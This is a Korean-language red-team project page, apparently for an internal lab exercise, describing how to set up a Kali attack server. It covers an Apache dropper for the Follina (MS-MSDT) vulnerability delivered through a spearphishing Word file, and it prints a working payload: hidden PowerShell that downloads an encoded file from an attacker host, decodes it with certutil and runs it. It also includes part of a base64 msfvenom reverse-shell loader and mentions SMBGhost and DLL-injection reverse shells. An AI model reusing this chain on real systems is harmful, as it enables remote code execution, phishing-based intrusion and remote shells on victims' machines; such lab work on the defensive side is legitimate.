



# 공격 시스템 구축

RED 담당자	동석 신 ? 정조희 예 예린 주
진행 상태	완료
마감일	@ 2023년 8월 24일
최종 편집 일시	@ 2023년 8월 31일 오후 11:27
최종 편집자	? 정조희
프로젝트	프로젝트 환경 구축

ESXi에 아래 사항 진행

- 애플리케이션 설치
- 공격 수행에 필요한 스크립트, 웹 페이지, 악성 파일 등 탑재
- 프록시 설정

## 개요

OS는 Kali를 기반으로 구성한다.

**필요한 기능** (아래에 추가적으로 기입해주세요)

- Follina 동작을 위해 필요한 apache 웹서버
  - index.html
  - dropper를 통해서 실행할 파일 / 스크립트
- Remmina(VNC&RDP)
- xfreerdp 설치
- dll injection revshell.py
- SMBGhost 실행파일
- FileZilla(클라이언트)

## 설정

### ▼ apache 웹 서버 설정 (Dropper)

- 스피어피싱으로 받게 될 워드 파일은 Follina 취약점을 통해 내부 확산 위한 파일 다운. 수행
- 해당 취약점을 위해서 아래 항목 구현 필요
  - 워드 파일을 열람 시 작동하게 될 스크립트가 담긴 HTML 페이지
  - HTML에 포함된 스크립트로 다운로드 받게되는 악성코드 파일

#### 1. Apache service 설치

```
$ sudo apt-get -y install apache2
```

```
$ sudo service apache2 start
```

## 2. Apache 웹 페이지 기본 설정

Dropper 수행을 위한 웹 페이지는 스크립트가 담긴 index.html과 인코딩된 스크립트 혹은 실행파일이 담긴 s.txt로 간단하게 구성된다.

Apache 설정은 아래 하위 페이지를 기반으로 작성하게 된다. 로컬에서 진행했던 세부적인 테스트는 아래 페이지를 참고하면 된다.

### index.html



index.html 예시

index.html은 크게 2부분으로 구성된다.

- 스크립트 실행을 위한 패딩
  - 아무 문자나 주석처리를 통해 4096바이트를 채워 넣기

- MS-MSDT 호출을 통한 RCE 코드 영역
  - 수행하고자 하는 코드를 제작하여 base64로 인코딩하여 업로드

테스트 및 실제 악성코드 제작에는 아래 RCE 코드 영역 부분만 수정하면 된다.

#### index.html / RCE 코드 제작

```
$cmd = "c:\windows\system32\cmd.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";Sta
rt-Process $cmd -windowstyle hidden -ArgumentList "/c powershell.exe -ExecutionPolicy ByPass -WindowStyle Hidden (New-Objec
t System.Net.WebClient).DownloadFile('http://192.168.10.128/s.txt', '%tmp%\api.txt') & certutil -decode %tmp%\api.txt %tmp%
\api.ps1 & powershell.exe %tmp%\api.ps1"
```

위 코드는 로컬환경에서 테스트한 코드이다. 진행 방식은 아래와 같다

- Kali에서 인코딩된 파워셸 스크립트가 담긴 s.txt 파일 임시 폴더에 api.txt로 다운로드
- 다운받은 api.txt 파일 디코딩 진행 및 api.ps1로 저장
- api.ps1 실행

최종적으로 실행되는 파워셸 스크립트는 칼리 서버로 리버스 셸을 요청하는 스크립트가 담겨있다.

해당 코드 영역을 수행하고자 하는 기능에 맞게 수정해야하며 **base64로 인코딩** 해서 script 영역에 넣어야한다.

#### s.txt

Follina 취약점을 통해서 다운로드 받고 실행하게 할 스크립트나 악성코드에 대한 디코딩 값이 담긴 텍스트 파일이다.

```
JFJVTUZ2R2dKZWYgPSBAIgpBRGxsSW1wb3J0KCJrZXJwZWZMi5kbGwKV0KcHVibGJlIHNOYXRpYyBl
...
중략
...
cHkoJFdZWG9YWEVFcncVHdkQsMCwKs0FwYUpPdG1qT0JyaikvV3NYb1hYRUvYdUd2RC5MZw5ndGgpCgokQVdnV2h0UE9XOjppDcmVhdGVUaHJlYWQoMCwwLCRLQVZ
hSk90bWpPQnJqLDAsMCwwKQ==
```

해당 텍스트 파일은 base64로 인코딩된 값으로, 원본 코드는 msfvenom을 통해서 제작된 리버스 셸 생성 코드가 담겨있다.

테스트 환경에서 원하는 기능을 msfvenom을 통해서 작성한 후 base64로 인코딩해서 서버에 s.txt로 업로드하거나, 다른 이름으  
로 업로드 한 후 index.html에서 RCE 코드 영역을 수정하면 된다.

### ▼ Remmina 설치

```
sudo apt-get update
sudo apt-get -y install remmina
```





설치 확인

이후 rdp 연결 시 사용

#### ▼ xfreerdp 설치

```
sudo apt-get update  
sudo apt-get install freerdp
```

#### ▼ ~~FileZilla~~ 클라이언트 설치

- DB SERVER로부터 ftp로 파일 수신

